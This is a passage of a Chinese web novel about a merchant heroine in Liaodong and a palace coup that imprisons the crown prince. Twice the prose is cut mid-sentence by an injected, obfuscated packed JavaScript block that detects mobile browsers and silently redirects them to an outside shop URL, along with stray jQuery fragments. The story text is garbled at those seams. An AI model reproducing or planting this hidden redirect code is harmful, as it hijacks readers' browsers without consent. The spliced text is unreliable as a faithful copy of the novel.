刘夫人愣了一愣,看着乐弗背影消失在门外,长长吁了口气。
她往椅背上一靠,端起茶盏刚想抿一口,忽然外头传来一声脆响。
啪。
像是拍巴掌的声音。
刘夫人心里咯噔一下,还没来得及起身,就听见扑通扑通两声闷响,两道人影从天而降,齐刷刷落在院子里。
“……”她惊得手里茶盏差点摔了,腾地站起来几步冲到门口。
那两个黑影已合力将院子里最大的一箱年礼抬到阶下。
乐弗立在阶上,背对着她一动不动。
“你、你这是干什么?!”刘夫人声音都变了调。
没人回话,两个黑影上前掀开箱盖。
刘夫人往里一瞅,腿肚子当场软了。
只见里头满满一箱爆竹,码得整整齐齐,引信露在外头,像一窝吐着信子的红蛇。
乐弗从齐宝手里接过火折子拔开,火苗顿时窜出来,在夜风里忽明忽暗。
她这才转过身看着刘夫人,语重心长:“夫人,泥人尚有三分土性,何况我?”
刘夫人张了张嘴,没发出声。
“这两年,给您二位的孝敬,没有八百也有一千了,老太太这宅子还是我给置办的,做人要讲良心。”
刘夫人已经听不进乐弗的话了,嘴唇哆嗦着,眼睛死死盯着那支火折子。
“您二位在衙门当差,显然也知道今年私放爆竹是什么罪过。”乐弗叹了口气,“今儿个话不说清楚,就别怪我手底下没个准头了。”
说着,她故意将火折子往下一探。
“别!”刘夫人惊叫一声,吓得当即软倒在台阶上。
见她还不肯说实话,乐弗摇了摇头:“或许你们夫妻不怕这趟牢狱之灾……”
她蹲下身去,跟刘夫人平视,“可断事司的审讯手段你也清楚,老太太年岁大了,只怕是抗不过这一遭。”
刘夫人眼里终于有了恐惧,她猛地抬起头:“我说!我说!”
4. 送行
乐弗没动,也没收火折子,就那么居高临下地看着她。
刘夫人咽了口唾沫,嗓子眼儿发紧:“是、是总兵府的人……”
乐弗眉头微微一挑,还是没说话。
“年初,总兵府来人找到我家那口子,说、说辽安驿运不能再上承运单子。”刘夫人语速又快又乱,恨不得一口气全倒出来
她眼圈也红了,不知是吓的还是委屈的:“我们跟你无冤无仇,要不是上头压着,何苦断你财路?那些孝敬银子,我、我都收得烫手,可我不敢不照办啊……”
“所以是谁找的你们?”乐弗只盯着她,手里的火折子也没盖上。
刘夫人一哆嗦,嘴唇抖了抖:“是,是总兵府的一个管事,姓孙,我们都叫他孙管事。”
她说完,生怕乐弗不信,又赶紧补了一句:“旁的是真不知道了!我们夫妻就是办事的,哪敢问为什么呀?”
乐弗沉默着,火折子的光映在她脸上,忽明忽暗,看不出喜怒。
刘夫人瘫在地上,声音都带上了哭腔:“姑娘,我知道的只有这些,再多一个字我也说不出来了,我老娘还在后头呢,你、你……”
她再也说不下去,满眼都是乞求。
乐弗站起身,将手里的火折子重新拧上,塞到刘夫人手里,对着身后摆摆手。
齐宝和葛喜生上前将箱盖重新盖上,抬回原来的地方。
刘夫人这才放下心,身子一软,坐在地上使劲平复着呼吸。
“今夜叨扰了,夫人受惊,早些回去歇着吧。”乐弗低头看了她一眼,抬脚就往外走。
煞星是走了,可刘夫人的心仍悬在嗓子眼里,扑通扑通跳得生疼。
她瘫坐在台阶上,也顾不上屁股底下冰凉了,闭着眼,把刚才说的话在脑子里过了一遍——
总兵府,孙管事,上头压着,不敢问为什么……
对,是这么说的。
她仔仔细细又过了一遍,一个字一个字地抠,确认没说秃噜嘴,心里这才放松下来。
望着院子当中那口箱子,刘夫人忽然就觉得委屈,这叫个什么事儿……
“真是神仙打架,凡人遭殃!”
她撑着地想站起来,试了两回才站稳,等两条腿不再打颤了,才慢慢挪到那口箱子跟前。
掀开之后,里头满满一箱红通通的爆竹,光是看着头皮就一阵发麻。
不能留。
刘夫人去到井台边,艰难绞上一桶水,拎着沉甸甸的水桶走回箱子跟前,咬着牙往里一倒。
看你还响不响!
哗啦一声,只见爆竹一个接一个的飘到上头,有的甚至还随着水流漫到地上。
“……”
她怔愣一下,扔下水桶伸手一捞,结果抓出一团湿乎乎的东西。
纸。
全是纸。
外头糊着红纸,里头塞的不知道是草还是什么,被水泡得稀烂,正顺着她的指缝往下淌。
刘夫人盯着手里那团红红的东西,缓了足足三息才反应过来:
“小王八犊子!”
与此同时,一辆马车缓缓驶离椿树胡同,车帘在夜风里轻轻晃动。
乐弗靠上引枕,望着车顶那盏晃晃悠悠的小灯,忽然笑了一下。
这个时代也不是全无好处——
每个人都活得战战兢兢,上头一句话,下头一条命,谁手里握着规矩,谁就能让别人低头。所以严刑峻法压下来的时候才会慌,人一慌,就没了判断力。
这多好,文明又体面的就把事儿给办了,手段不说多高,够用就行。
她闭上眼,脑子重新转起来。
孙管事那人她从小见惯了,里里外外操持着总兵府那一大摊子,能指使他亲自去递运所传话的,就只能是那对父子。
要么宗传辉,要么宗钦。
前者是绝无可能了。这两年辽东局势吃紧,宗伯父只差把铺盖卷搬进衙门里,哪有闲心管她那间小小车马行。
可若是宗钦……乐弗依旧想不通原因。
先前开那三间杂货铺时,他就明里挑刺暗里使绊子,三天两头让底下的差役上门盘查,就连入药用的硝磺,正经药铺里的东西,他也揪着不放,非说什么:
“这东西,万一跑出边墙算谁的?”
那时乐弗也理解,毕竟他爹是总兵,做儿子的当然要替老子多提防些。
可辽安驿运是规矩买卖,该交的税一文不少,行得正坐得直,他凭什么还找茬?
车顶那盏小灯仍在晃,乐弗有些疲惫地揉了揉眼睛。
最近也不知怎么了,歇得总是不好。稍微想点事情,脑袋就发沉,跟有人往里面塞了团棉花似的。
她打了个哈欠,眼眶里泛起一点水光。
算了,想不明白就不想了。她缩进引枕中,把斗篷往上拽了拽。
反正再有两天宗钦就得启程,这一走,怕是再难踏上辽东的地界,往后天高皇帝远的,俩人也不相干了。
再让他一回。
马车缓缓往前,车轮轧过青石板,声音闷闷的,像是隔了一层厚布。
乐弗的眼皮越来越沉。
她想撑着,可车顶那盏小灯,晃着晃着就变成了两盏,三盏,最后糊成一片昏黄的光。
头一歪,即刻便睡了过去。
马车停在衙署后巷的时候,已是寅正初刻。
齐宝和葛喜生跳下车辕,还没来得及活动活动腿脚,就见巷子深处有个人影走过来。
夜色深沉,看不清脸,可那身形步态,还有那不紧不慢的从容,他们太熟了。
两人同时站直了,低下头——
“公子。”
来人没理会他们,径直登上马车。
他俩对视一眼,识趣地退到墙根底下,背过身去,眼观鼻鼻观心,俩门神似的杵在那儿。
车帘一掀,锦缎引枕上,乐弗正安安静静蜷着,毫无防备。
宗钦解下身上的紫貂裘覆在她身上,严严实实地裹了一圈,这才俯下身去。
一手从膝弯下轻轻穿过,一手稳稳托住后背,一俯身便将人打横抱起,轻柔得如同揽起一片羽毛。
乐弗被裹在紫貂裘里,从头到脚只剩几缕碎发露在外头。那顶银鼠卧兔儿的白边,在黑紫的貂裘里陷着,窝着,只露出一点茸茸的尖儿,像是被什么庞然大物给吞了进去,挣都挣不脱。
他把她往怀里紧了紧,转身下车。
俩门神依旧站在墙根底下,听见角门合上的声音,这才转过身。
“走吧。”
二人跳上车辕,赶着车沿后巷往前走,齐宝从怀里摸出扁酒壶,拔开塞子灌了一口,递到身旁。
葛喜生接过来没喝,就那么攥着:“唉。”
“叹什么气?”
“咱俩也挺损的。”
齐宝愣了一下,随即苦笑着摇摇头:“损就损吧,吃谁的饭,端谁的碗。”
“话是这么说……”葛喜生扭头往角门方向看了一眼,“我还是觉得小东家挺可怜,身边儿丫鬟、伙计、账房,有一个算一个,就连你我,都是公子的人。”
齐宝夺过酒壶又灌了一口,“兜儿里几两银子啊?你还可怜起人家了?”
葛喜生噎住,下意识摸摸怀里的钱袋子,没再吭声。
“行了。”看他还在那儿钻牛角尖,齐宝憋着坏来了一句,“起码那姓简的不是。”
“公子防了这些年,把小东家身边儿围得铁桶一般,一个没看住,竟被那祖孙钻了空子。”葛喜生幸灾乐祸地笑出声。
“没办法,要怪就怪朝廷吧,非把辽东的乡试考场设在山东,将公子支走了。”
“可见人算不如天算。”葛喜生笑得直抹眼泪,“听孙管事说,公子临走那天还嘱咐这个嘱咐那个的……”
提起这个,俩人笑得直拍大腿,车辕都跟着晃了晃。
马车往前走着,笑声渐渐淡下来。
“你说,以后小东家若是知道了,如何是好?”
齐宝斜他一眼:“尽说胡话。”
也许是胡话吧,葛喜生没再吱声。
他想,若他是小东家,万一哪天知晓一切,定要暴起砍人的。
夜风灌进脖子,他拢拢领口,没再往下想。
马车拐了个弯,渐渐消失在夜色中。
*
正月初三,城南安定门外停着七八辆马车,十几辆骡车亦是鞍辔齐整。
凡今科会试的举子,都赶在这两天动身,送行的人比赶考的人还多。
乐弗从车帘缝里探出半张脸,目光在人堆某处定住。
与此同时,正跟管家说话的简自澄,忽然像感应到什么似的,转过头来。
他生着一双略长的凤眼,眉目疏冷,轮廓分明。身形修挺健朗,立在风里,最外还披着件银尖白狐裘。
往那儿一站,脚下的雪都像是比别处干净些,远远看去,真如雪岭孤松,寒江霁月。
乐弗好多天没见着他了,只觉得这身打扮,跟这乱糟糟的人间隔着一层雾气似的。
可当他一靠近,那层雾气就淡了。
简自澄对上车帘缝里那双眼睛,嘴角一弯,周身的清冷顿时化
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341551|199357||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开,像辽东的雪原尽头,忽然洒下一片暖煦阳光。
车窗横在两人中间,远处家眷们的嘈杂、来来往往的人影,好像都被那层阳光滤掉了,滤得干干净净,什么都不剩。
就剩二人目光缠在一起,拉也拉不开……
“咳咳!”
车里头传来两声咳嗽,声音不大,但足够让两人回神。
沈德仪手里攥着手炉,靠在车壁上斜睨着这对年轻人,脸上写满了“我忍你们很久了”。
简自澄不慌不忙,朝车里头规规矩矩作了个揖:“伯母。”
沈德仪应了一声,拿手炉往自家闺女那边捅了捅。
乐弗这才从袖子里摸出一个佩囊来。
青缎面的,上头绣着芦苇和雁,针脚十分歪扭,几只雁胖得像鸭子。
“你凑合着用吧,图个寓意。”她把佩囊递过去,干巴巴地补了一句吉祥话:“嗯……祝你一路连科!”
简自澄看见那佩囊,嘴角又弯起来。
他没说话,只伸手接过佩囊,当着母女的面,直接系在了腰间的带子上。
青缎面压着银白的狐裘,风吹过来,佩囊轻轻摆动,那几只胖雁也跟着晃了晃。
“不凑合。”他抬头看着她,眼里带笑,“挺好的。”
沈德仪又咳嗽了一声,这回是真忍不住了:“行了!去吧,好好考,考完早点回来。”
“伯母放心。”简自澄简短应了一声,转身往车队里去。
登上马车前,他忽然又回过头来。
见车帘缝里那双眼睛还在,他笑着冲乐弗挥挥手,这才钻进车厢。
浩浩荡荡的车队出发了。
“别看了,都走出老远了。”
乐弗没动,眼睛还盯着城门外,直到又被手炉戳了一下,她才放下车帘。
沈德仪斜睨着女儿,忽然笑了一声。
“?”乐弗不明所以。
“还凑合着用吧……”沈德仪学着女儿的腔调,自己先乐了,“小简倒是个实心眼,那几只鸭子胖成那样也肯挂腰上。”
“那是大雁!”乐弗急了。
“行行行,大雁。”沈德仪笑着摆手,“大雁胖点儿也好,飞得稳当。”
乐弗幽幽瞪她一眼,也没绷住笑。
“说正经的,翰林院门生故旧满京城,小简这回若真中了进士……”沈德仪略微停顿,“他爹肯定要给他找关系留京的。”
车窗外的阳光照进来,落在乐弗脸上,明明暗暗。
沈德仪看着女儿,声音放轻了些:“你怎么打算?可要跟他呆在京城?”
“他若留京,那我也去。”
“你的车马行呢?你那些伙计呢?”
“车马行有账房盯着。”乐弗不紧不慢地规划,“又不是离了我就不转了。再说京城也有买卖,也有驿运,去那儿再开一间就是。”
“你心里有数就行。”沈德仪没再说别的,只把手炉往怀里拢了拢。
她想起夏天,两个孩子订亲那会儿了。
京里那头,从头到尾都没人露面,传话的去了一趟,只带回来三个字:“知道了。”
不冷不热,连句囫囵话都没有,明显不乐意。
若不是简怀明老爷子亲自登门来提,只靠两情相悦,这门亲怕是成不了。
虽说他退得早,可太子太傅的名头摆在那儿,她那太子表弟当年还正儿八经喊过人家老师。
沈德仪虽不喜简家,却看在他老人家亲自登门,给足女儿脸面的份上,这才点头。
点头归点头,可简老爷子又能活多久呢?等他一走,乐弗就得独自面对简家那些人……
想到这儿沈德仪心里直犯堵,气得把那罪魁祸首拖出来痛骂。
太子卫峥。
当年,他非说什么朝中根基不稳,弟弟和藩王又虎视眈眈,自己睡不踏实……
睡不踏实就去找太医!跑来求她干什么!
结果就是夫妻俩抛家舍业地窝在辽东,给表弟当后路,一守就是十七年。
累得闺女籍籍无名不说,好歹也是半个皇亲国戚,往后嫁了人,竟还得看那帮清贵的眼色!
真是个挨千刀的东西!
在心里骂完最后一句,沈德仪靠上引枕,闭目养神。
此时此刻,千里之外的东宫。
的确有一把刀正横在卫峥的脖子上。
利刃冰凉,贴着皮肉,再进一分就能割开喉咙。
他跪在地上,双臂被人反剪,被迫仰起头。
而他的弟弟卫嵘,正站在台阶上,居高临下地看着他。
5. 囚亡
此时卫峥身边全是禁军,那些昨天还在向他行礼的人,现在连看都不敢看他一眼。
“大哥。”
卫嵘的声音在风里散开,声调平稳,“父皇病重,你监国也有些日子了,着实辛苦。”
殿外阶前仍有残雪积在砖缝里,冰得卫峥膝盖发僵,闻言他连眼皮都不曾抬一下。
卫嵘缓步走下台阶,一步一步来到卫峥跟前站定,屈膝蹲下,迫使二人视线平齐。
“这样吧,”他语气里带着点儿商量,“只要你能亲口说‘我不如你,储君之位让给你’,弟弟便送你出去,去凤阳,跟嫂子侄儿团聚。”
殿外又起了阵风,刮得檐角铜铃叮当作响。
见此人始终缄默不语,卫嵘轻笑一声,缓缓站直了身子。
“不说也无妨。”他转过身去,走了两步又停下,头也没回,“我不杀你,弑兄的骂名我可背不起,大哥就先在这儿住着吧,等想通了再说。”
说罢挥了挥手。
禁军将卫峥拖起来时,他忍不住回头望了一眼——弟弟正背对着他,看着远处的天空。
卫峥也顺着那个方向望去。
苍穹辽阔,万里无云。
*
他被关进了东宫后殿的屋子里。
这里冰冷狭窄,一张床,一张桌,一把椅子,窗户从外面钉死了,门也换了新锁,每天有人从门下方的小洞里推进来吃食。
第五天,小内侍来送饭的时候,卫峥忽然开口:“你叫什么?”
小内侍吓了一跳,手里的碗碟差点掉了,他慌慌张张地把饭推进去就要跑。
“别怕。”卫峥的声音从门里传出来,“我就问问。”
“奴婢……奴婢叫长顺。”
“长顺,每天都是你给我送饭?”
“是。”
“外面如何了?”
半晌没等来回答,卫峥叹了口气:“算了,你回去吧。”
长顺蹲在那个小洞跟前,犹豫了很久,想起一件事。
年前他给书房送炭,手冻木了拿不住东西,一筐炭全洒在地毯上,太子身边的内官冲过来就要打,他吓得抱头蹲下,等着那一脚踹下来。
“行了。”一道声音从里头传出来。
长顺抬头,看见太子站在门口,穿着常服,没什么架子。
“炭洒了再领就是,大冷天的,喝碗热汤再去当值。”
在长顺眼里,这位太子终究比他那位弟弟更仁厚些,实在不忍看卫峥平白折在这儿。于是他咬了咬牙:
“皇上病势极重,太医院的人几乎都宿在乾清宫了。”小内侍的声音细弱,却顺着小洞稳稳飘进卫峥耳朵,“殿下……殿下可有什么话要带出去吗?”
里面沉默良久。
“有。”卫峥的声音传来,“只是如今东宫只进不出,你不怕吗?”
长顺咽了口唾沫:“您说就是。”
“去找左都御史。”卫峥的声音很低,“告诉他继续辅佐卫嵘,藏好,不要反抗。”
“奴婢记住了。”
当天夜里,长顺躺在通铺上,翻来覆去地烙煎饼。
隔壁铺的满寿在打鼾,再过去是连喜,睡觉蜷成一团,最里头是睡得四平八稳的守禄。
长顺忽然坐起来,摸黑挨个儿推醒他们,“起来,有事说。”
四个孩子披着衣裳,挤在通铺上,月光从窗缝里漏进来,照着四张脸庞,都是十二三的年纪,还带着没褪干净的稚气。
长顺压低声音,把卫峥的话跟几人交代一遍。
满寿先开口:“左都御史?那是什么官?”
“是监察百官的官。”连喜说。
“这事我一人办不成。”长顺说,“咱们四个,也许能出去一个。”
三个人都看着他。
“西北角有个狗洞,是以前掏的,没人知道。”长顺出谋划策,“可从这儿到西北角,得过三道门,每一道都有禁军守着。”
“那就闯?”满寿问。
长顺摇头,“得有人把禁军引开。”
没人说话了。
过了很久,守禄忽然开口:“我去,我跑得慢,被抓住就说迷路了,顶多挨顿打。”
“可万一……”连喜没说下去。
“那我去送信儿,”满寿忽然道,“我跑得快。”
守禄看看他:“你识字?”
“会几个。”满寿挠挠头,“太子教过。”
“那我堵门,能挡一会儿是一会儿。”连喜说。
“好……到时我就跟满寿一起送信,咱俩分头跑,就这么定了。”长顺一拍大腿。
没人说不。
四个孩子你看着我,我看着你。
他们不知外面局势如何,也不知三道门后面有多少禁军,更不知左都御史府在哪儿,他们只是觉得,该去。
那便去。
连喜吸了吸鼻子:“就现在吧。”
外面月色清寒,浸在阶上泛起一片银光,远处更鼓沉闷,敲得几个孩子心头发紧。
子时了。
四道小身影贴着回廊慢慢往前挪动。
途中满寿忽然问了句:“那……那咱们要是死了,有人记得吗?”
“太子记得。”守禄斩钉截铁。
连喜点点头:“那就行。”
而长顺没有出声。
夜风穿廊吹过,廊下灯笼轻摇,四个孩子依次而行,渐渐消失在回廊尽头。
*
丑初一刻,京城,锦什坊街。
沈城被院外那道急匆匆地拍门声吵醒了。
一旁的秦玉珍跟着坐起身子:“怎么了?”
“你歇着,我去看看。”沈城披好裘衣出去,一开门,发现来的是左都御史徐仰光的心腹,周护卫。
此刻他一身夜行衣,满头大汗,气儿都没喘匀,张嘴就是:
“太子、安国公,全完了!”
书房里的灯亮起。
“谋逆!给安国公定了这个罪名,说是从床底下搜出一顶冕冠来!昨日午时禁军围府搜出来的。”周护卫语速极快,“酉时押入昭狱,三更时分,邢审院已经详讫完了,说是流放!”
一股寒气从脚底窜上来,沈城强装镇定:“围府到审结,只用了一日?”
“是。”周护卫点头,眼里也满是难以置信,“快得不合常理!”
“流放去哪儿?”沈城追问。
周护卫摇头。
“沈老爷,不止呢。”他往前凑了凑,“有个小内侍,从东宫拼死逃了出来,说太子被肃王给囚禁了!我家大人一听,叫我来嘱咐您多加小心,安国公是明面上的武将,您是暗处的钱袋子。如今他一倒,只怕……”周护卫没说完,但意思到了。
“受累了,跑这一趟。”沈城从抽屉里摸出银子递过去。
周护卫没接,只抱了抱拳:“沈老爷多保重。”说完起身就走。
书房重新静下来,沈城疲惫地抹了把脸,靠在太师椅中望着烛火明灭,忽然低低笑了出来。
冕冠?从床底下搜出冕冠?这罪名荒唐得比市井猴戏还可笑。可偏偏就是这种拙劣的说辞,一夜之间,生生扳倒了一位国公。
这就是示威。是告诉所有还在观望的人:肃王掌权了,他卫嵘说你有罪,你就有罪。
秦玉珍不知何时来到书房门口,寝衣外只罩了件大毛披风,面色苍白。
沈城回过神,对着妻子勉强扯出一丝笑模样:“没事儿。”
怎么可能没事,秦玉珍心想。
安国公既已倒台,那下一个是谁?她家与太子沾亲带故,纵使藏得再深,能躲得过卫嵘上台后的大肆清算么……
恐怕还真能。
此时,乾清宫里的药味浓得化不开,混着龙涎香,清苦香醇,竟诡异的好闻。
卫守雍躺在龙床上,眼睛半闭,胸口起伏微弱。他已这样躺了两天,水米未进,只凭一口气吊着。
龙床边的鼓凳上坐着卫嵘,他慢慢吹着茶沫,容貌清俊秀挺,眉眼间却半点也不像卫守雍。
“父亲。”卫嵘放下茶盏,声音温和,“您该下诏书了。”
卫守雍眼皮微颤,依旧闭目不睁。
“如今大哥被关在东宫,”卫嵘凑近些,压低声音,“安国公那个莽夫,不日便要发配到辽东充军,您要么快点儿死,要么快点儿写,算儿子求您了。”
字字大逆不道,他却语气平淡,如同闲话家常。
卫守雍依旧没反应,听着这些诅咒不怎么难过,思绪却飘远了,突然想起很多年前——
自己从小病弱,十五岁封王,先帝可怜他身子不好,让他在京郊的潮白浦就藩。又怕别的藩王不满,于是用一些庄田,坞堡就将他打发了。
说是封地,不如说是京郊休养用的私产庄邑。想起那片小破地方,卫守雍艰难地扯了下嘴角,有点想笑。
他那时没有怨言,也不敢有。能在京城边上安稳度日,已是天大的福气。
安国公就是他在封地认识的。
傻乎乎的大头兵,除了一身功夫什么都没有,喂他几顿饱饭,就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341552|199357||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
死心塌地认了主子,大狗一般。
他本想在潮白浦活到老死。
可先帝骤然离世,皇位竟传给了最小的皇弟,左都督趁机拥兵自重,逼朝廷赐其加九锡之礼。
这也就罢了,可那人竟还不满足,仍要撺掇皇弟削藩。
要削他们这些在封地里不临民、不掌兵,过得跟富贵闲人没两样的藩王。
他的亲弟弟,更是被逼得自焚明志,死后被赐了恶谥。
这不是欺负老实人么?为什么?
后来想通了,有的人天生就没有良心,他不该浪费心思去琢磨。既然左右都是死,为何不搏一搏?
也就是在那时,沈城前来见他,二人本是连襟,一家子自然不必多言。
他正屯兵缺钱,沈家又世代经营漕运,两边互为依仗,共谋大事,沈城自那起便成了他的心腹。
其实他也没把握成事,不过是想在临死之前扑腾一回。
可沈城真拿来了五十万两,杯水车薪却是雪中送炭。后来沈家叔父又送来三百万两,还有船,许多条能在运河上畅通无阻的船。
卫守雍至今记得那一刻的心情。
他大笑,他大喊,他拉着安国公和沈城一起,在潮白浦的春日里纵马撒欢儿。
再后来,他和安国公以清君侧为名起兵,五万燕云骑直逼京师。通州一战,大破八万禁军,安国公一刀将那劳什子左都督斩于马下。
往事如烟……
“父亲?”一道声音把他拉回现实。
卫守雍艰难地睁开眼,对上卫嵘殷切的目光。
这野种长得俊美,也不知郑氏跟谁生的,天生就坏。
见父亲终于肯看自己,卫嵘笑得十分无害:“您不写,儿子只好替您写了。只是到时玉玺盖得不端正,您可别怪罪。”
卫守雍忽然扯了下嘴角,很轻微,像嘲讽又像无奈。
这坏种肯定不会善罢甘休,收拾完安国公,就该查太子的钱袋子了。
对了,那些账册被他放哪儿了?
卫守雍觉得自己真的要死了,想账册时,脑子里总会想起在潮白浦的那段日子。
潮白浦的春日,风是软的,带着泥土和青草的气味。庄子外头,麦苗刚抽穗,绿油油的一片,风一过,就像漾开的水波。
他和安国公还有沈城,就这么在田埂上坐着,谁也不说话。
远处农人牵着耕牛吆喝,近处有家雀在枝头叽喳。阳光暖呼呼地洒下来,晒得他骨头都酥了……
记忆里的画面渐渐模糊,卫守雍的呼吸也越来越弱,他眼前阵阵发黑,内心却很平静。
账册已经备好了,放在最显眼又最不显眼的地方。卫嵘多疑,定会去翻,翻到了就会如获至宝。
就让这坏种去跟盐商们狗咬狗吧。
他能为沈家做的只有这些了,算是还了当年那份雪中送炭的情谊。
听闻沈家外孙女好事将近,可他这一去……凡是姻亲,必服三年重孝。到头来竟是他这将死之人,耽误了人家闺女的大好年华。
可江山礼制在前,他也无可奈何。生老病死,由不得人呐……
视线彻底黑下去前,卫守雍脑海里最后浮现的,还是沈城那双凤眼。
坦荡,干净,还带着点儿笑意。
他想,那么漂亮的眼睛不该流泪,就让沈家人好好的过日子罢。
至于这京城,这天下,谁爱管谁管。
他累了。
卫守雍的呼吸终于停了。
卫嵘撂下茶盏,准备再劝两句,一转头,就发现父亲方才还微微起伏的胸腔,此刻彻底没了动静。
他略一怔。
龙床上的人静静躺着,和睡着了一样,甚至比睡着的时候还要安详。
卫嵘也不知道自己在哭什么。
这些年,他恨过皇权冰冷,怨过父亲偏心,怕过前路茫茫,可他心底深处,自始至终都敬着,爱着眼前这个男人。
如今人去灯灭,所有的怨怒转瞬成空,心口像是豁开道裂缝,空茫得发疼,他缓缓握上那只再无温度的手。
外面突然响起脚步声。
靴子踏在金砖上发出咚咚的响声,卫嵘听见了也没动,依旧紧紧攥着卫守雍的手。
脚步声停在门口,然后是心腹的声音:
“王爷,太子逃了!”
卫嵘猛地一顿,忽然就明白了一件事:
从这一刻起,他再也没有父亲,也再也没有大哥。什么都没有了,只有那张空着的龙椅……
真正的孤家寡人。
6. 广宁
正月十五这天,辽东赶考的车队终于走出辽西走廊,见到了山海关的城楼。
迁安驿的院子里,这些举子正忙着卸车,找房间,人人身上都带着一股关外的风沙味儿。
驿丞站在台阶上吆喝,驿卒们提着热水来回跑,院子里乱糟糟的全是人声。
“劳驾,让一让——”
“哎,那是我的包袱!”
“驿丞老哥,还有热水没有?”
就在这时,驿道那头传来一阵马蹄声。和普通的马蹄声还不一样,这动静太密太急,像暴雨砸在瓦片上。
院子里的人纷纷停了动作,扭头往驿道方向看。
不多时,一匹快马冲进来,马背上的人穿着急递铺的号衣,浑身都汗透了,他翻身下马高喊一句:
“京城四百里加急!大行皇帝,龙驭上宾了!”
驿站里瞬间炸了锅。
有人手里的包袱“啪”地掉在地上,有人靠着墙,整个人像被抽了骨头,还有那老举子蹲下抱着头,嘴里反复念叨“三年又三年”。
没多久第二个信使也到了,带来一个更详细的消息:“太子失踪!肃王继位!”
驿站里彻底乱套了。
这群人里,真正关心江山社稷的没几个,他们不在意朝堂是不是换了人,而是在意国丧当头,二月的会试,还能不能照常开考。
就算开了,那殿试还办不办?
这些人本就焦虑,这么一合计,各别几个举子心态彻底炸了,转身就往屋里冲:“收拾东西,回辽东!”
剩下那几个举子也迟疑了,思忖一番,不约而同地看向远处驿站大堂中,悠闲喝茶的两个人。
靠窗的是总兵官的儿子,炭盆边的是简大儒的孙子。
一个寒气砭骨,一个清润如玉。
几个举子想都没想,径直朝后者走去。
此刻,简自澄正坐在桌前,缓缓转着手里的茶盏。他想起多年前,祖父在信中提过的话:
[乐弗一家是太子藏在辽东的外戚,等卫峥登基,她家定会一飞冲天。]
包括他自己也是这么盘算的。
这门亲事一成,往后京里的路就好走了,家里再清贵,还比得过跟皇权沾亲带故的乐弗吗?
他想过很多。
想过太子登基后乐家的风光,想过自己入仕后的前程,想过带着乐弗回京,让那些人看看,他娶的可不是什么小官家的闺秀。
可他没想过太子会失踪。
肃王继位,定会大肆清算太子党,乐弗一家躲得过去吗?
那他呢?
这门婚事……还能继续吗?
火盆里的炭噼啪爆了一声,把简自澄从片刻的恍惚中拉了出来。
他正烦躁时,几位举子已经走到近前了,七嘴八舌地问些在他看来蠢得没边儿的问题。
什么叫“这试还考不考”?
肃王刚登基,急于掌权,自然要收买文官人心,就算顶着御史骂名也要开科取士。
几个蠢货,这点局势也摸不透,入朝为官也是浪费朝廷俸禄。
“诸位。”简自澄抬起头,脸上还是那副清和的样子,可怎么看怎么有点不对劲。像是温润的玉裂开一道缝,露出里头什么别的东西。
可惜几个举子太慌了,没看出来。
“肃王不像是顺位继的。”简自澄不紧不慢,“若贸然进京,赶上兵变可如何是好?”
几个举子面面相觑。
“回去吧。”他声音温和,像是在替几人着想,“等京城稳下来再说。”
宗钦背对着人群,听完简自澄这番信口开河,嘴角微微弯起,随后举起手中残茶一饮而尽。
他认为这卫守雍死得真是时候,乐弗就是再想嫁人,也得等三年后了。
三年。
说不上长,却也足以让很多事情发生。原本他打算在下一个驿站就动手,干净利落的,让简自澄这只画皮鬼永远留在这条进京的路上。
可现在想来,倒也不必那么急。
宗钦放下茶盏,起身往楼梯走去,路过人群时,余光扫过那张清俊温润的面孔。
真是可惜,明明都做好准备了。
*
等皇帝驾崩的消息传到辽东时,恰逢正月里,头一场雪化尽。
乐弗正坐在车马行的账房中,对着惨淡的生意犯愁。
现在官府封印过年,商号闭门歇业,伙计们也大多还在老家,账本上记得那些散碎银子,从年前挂到现在,看着就堵心。
“姑娘,夫人……”藤梨气喘吁吁,带着一身寒气跑进来。
“怎么。”乐弗头也不抬,“又要喊我回去绣嫁衣么。”
藤梨摆摆手,缓了好一会儿才开口:“不是!是皇上驾崩了!夫人吩咐,咱们府上得守三年国孝!”
“……”
手中账本一合,乐弗靠回椅子,先长长地吐出口气。
她忽然想笑,又觉得不该,可笑意还是从嘴角漏出一些。
不是她没良心。
是那件嫁衣,从简自澄一走她就开始绣,手指头都扎肿了,绣出来的鸳鸯依旧像鸭子。
沈德仪天天在她耳边念叨,说眼看就到四月婚期,再不绣好,到时怎么见人?
现在好了。
她终于可以心无旁顾的鼓捣生意。
乐弗靠在椅背上,望着房梁上那根晃悠悠的蛛丝,心中莫名松快。
“你有多久没吃炙肉了?”
“啊?”藤梨不懂守孝跟炙肉有什么联系,却也老老实实回答,“好久了,上一次吃还是去年入冬。”
“想不想去广宁搓一顿?”
藤梨心里天人交战。
一方面她时刻谨记公子的吩咐,不让姑娘离开辽阳,另一方面是广宁的炙肉在辽东境内声名最盛,滋味无人能及……
大馋丫头眼巴巴望着乐弗,小声嘀咕:“从辽阳到广宁路途遥远,就是马车也要走上六天。夫人素来谨慎,断不肯叫姑娘涉险远行。”
“你甭操心这个,就说吃不吃。”
“吃!”
“那就好办了,走!”乐弗当即起身,带着一摞账本,与藤梨坐上回家马车。
这些年,二道贩子她也做腻了。辽阳,开原、抚顺这三间杂货铺生意是不错,一年下来净利加一起不到两千两。
